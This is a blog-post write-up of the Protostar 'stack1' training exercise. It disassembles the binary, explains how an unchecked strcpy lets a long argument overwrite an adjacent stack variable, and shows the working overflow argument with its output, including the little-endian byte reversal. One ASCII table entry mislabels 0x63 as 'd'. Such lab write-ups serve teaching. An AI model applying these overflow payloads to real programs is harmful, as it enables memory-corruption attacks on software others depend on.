DEV Community 👩‍💻👨‍💻

Cover image for Validating program arguments (Protostar - stack1)

Posted on • Updated on

Validating program arguments (Protostar - stack1)

Last time we discovered how bad can stack overflows be. This presents another way for the user to inject malicious data into a program: program arguments.

Static analysis

root@protostar:/opt/protostar/bin# file stack1
stack1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
Enter fullscreen mode Exit fullscreen mode

Let's have a look at the strings:

root@protostar:/opt/protostar/bin# strings stack1 | tail -n3
please specify an argument
you have correctly got the variable to the right value
Try again, you got 0x%08x
Enter fullscreen mode Exit fullscreen mode

Now we're going to take a look at the code and document the objdump output.

8048464:       55                      push   ebp
8048465:       89 e5                   mov    ebp,esp
8048467:       83 e4 f0                and    esp,0xfffffff0
804846a:       83 ec 60                sub    esp,0x60

804846d:       83 7d 08 01             cmp    DWORD PTR [ebp+0x8],0x1         ; argc == 1
8048471:       75 14                   jne    8048487 <main+0x23>

8048473:       c7 44 24 04 a0 85 04    mov    DWORD PTR [esp+0x4],0x80485a0   ; please specify an argument
804847a:       08
804847b:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1             ; exit failure code
8048482:       e8 01 ff ff ff          call   8048388 <errx@plt>              ; errx(1, "please spec...");

8048487:       c7 44 24 5c 00 00 00    mov    DWORD PTR [esp+0x5c],0x0        ; init variable to 0x0
804848e:       00
804848f:       8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]         ; load *argv into eax
8048492:       83 c0 04                add    eax,0x4                         ; increment argv pointer (poitner size is 4 here)
8048495:       8b 00                   mov    eax,DWORD PTR [eax]             ; eax now points to argv[1]
8048497:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax         ; save on stack (relative stack pointer) for argument passing
804849b:       8d 44 24 1c             lea    eax,[esp+0x1c]                  ; load our stack buffer into eax
804849f:       89 04 24                mov    DWORD PTR [esp],eax             ; save on stack
80484a2:       e8 c1 fe ff ff          call   8048368 <strcpy@plt>            ; strcpy(buffer, argv[1]);

80484a7:       8b 44 24 5c             mov    eax,DWORD PTR [esp+0x5c]        ; load inited variable at 0x8048487
80484ab:       3d 64 63 62 61          cmp    eax,0x61626364                  ; compare mystery variable to 0x61626364
80484b0:       75 0e                   jne    80484c0 <main+0x5c>

80484b2:       c7 04 24 bc 85 04 08    mov    DWORD PTR [esp],0x80485bc       ; load goodboy message on stack
80484b9:       e8 da fe ff ff          call   8048398 <puts@plt>              ; puts("you hace correctly...");
80484be:       eb 15                   jmp    80484d5 <main+0x71>             ; gtfo

80484c0:       8b 54 24 5c             mov    edx,DWORD PTR [esp+0x5c]        ; load mystery variable
80484c4:       b8 f3 85 04 08          mov    eax,0x80485f3                   ; load badboy message
80484c9:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx         ; push mystery variable on stack
80484cd:       89 04 24                mov    DWORD PTR [esp],eax             ; push badboy message on stack
80484d0:       e8 a3 fe ff ff          call   8048378 <printf@plt>            ; printf("Try again, you got 0X%08x", mystery);

80484d5:       c9                      leave                                  ; gtfo
80484d6:       c3                      ret
Enter fullscreen mode Exit fullscreen mode

Ok, so it gets a bit more complicated than the previous one.
First we have a check against program argument count: we must provide an argument.
This argument is loaded into a 64 bytes long buffer using strcpy.
Finally, we can resolve the challenge by modifying the stack variable from 0x0 to 0x61626364.

The vulnerability here is in strcpy. Again, let's read the manual:

The strings may not overlap, and the destination string dest must be large enough to receive the copy.
Enter fullscreen mode Exit fullscreen mode

That means, the destination buffer of strcpy is subject to overflow. The target variable is living just behind so we should be able to write an arbitrary value there.
The value we want to write is 0x61626364, it is four bytes long (like an int here): 0x61 0x62 0x63 0x64.
Each character of our overflow is encoded using one byte, so with four of them we might be able to match the required int 0x61626364.
The ascii tables gives us the characters associated with each of the bytes composing the mystery value:

  • 0x61 'a'
  • 0x62 'b'
  • 0x63 'c'
  • 0x63 'd'


First let's validate our understanding of the program:

root@protostar:/opt/protostar/bin# ./stack1 # no argument
stack1: please specify an argument
Enter fullscreen mode Exit fullscreen mode
root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 42')
Try again, you got 0x00000000
Enter fullscreen mode Exit fullscreen mode

Alright, we have the error message. Now let's validate the 64 bytes buffer overflow:

root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 64')
Try again, you got 0x00000000
root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 65')
Try again, you got 0x00000041
Enter fullscreen mode Exit fullscreen mode

Awesome, now let's try with our chars 'abcd':

root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 64 + "abcd"')
Try again, you got 0x64636261
Enter fullscreen mode Exit fullscreen mode

Wait? What? It looks like our bytes got reversed in the process?
This behaviour depends on how which order the system is supposed to read memory chunks. This is call endianess. Our system here is using little-endian (LE). All we have to do is reverse our four last characters!

root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 64 + "dcba"')
you have correctly got the variable to the right value
Enter fullscreen mode Exit fullscreen mode

Have fun!


Top comments (0)

🌚 Friends don't let friends browse without dark mode.

Sorry, it's true.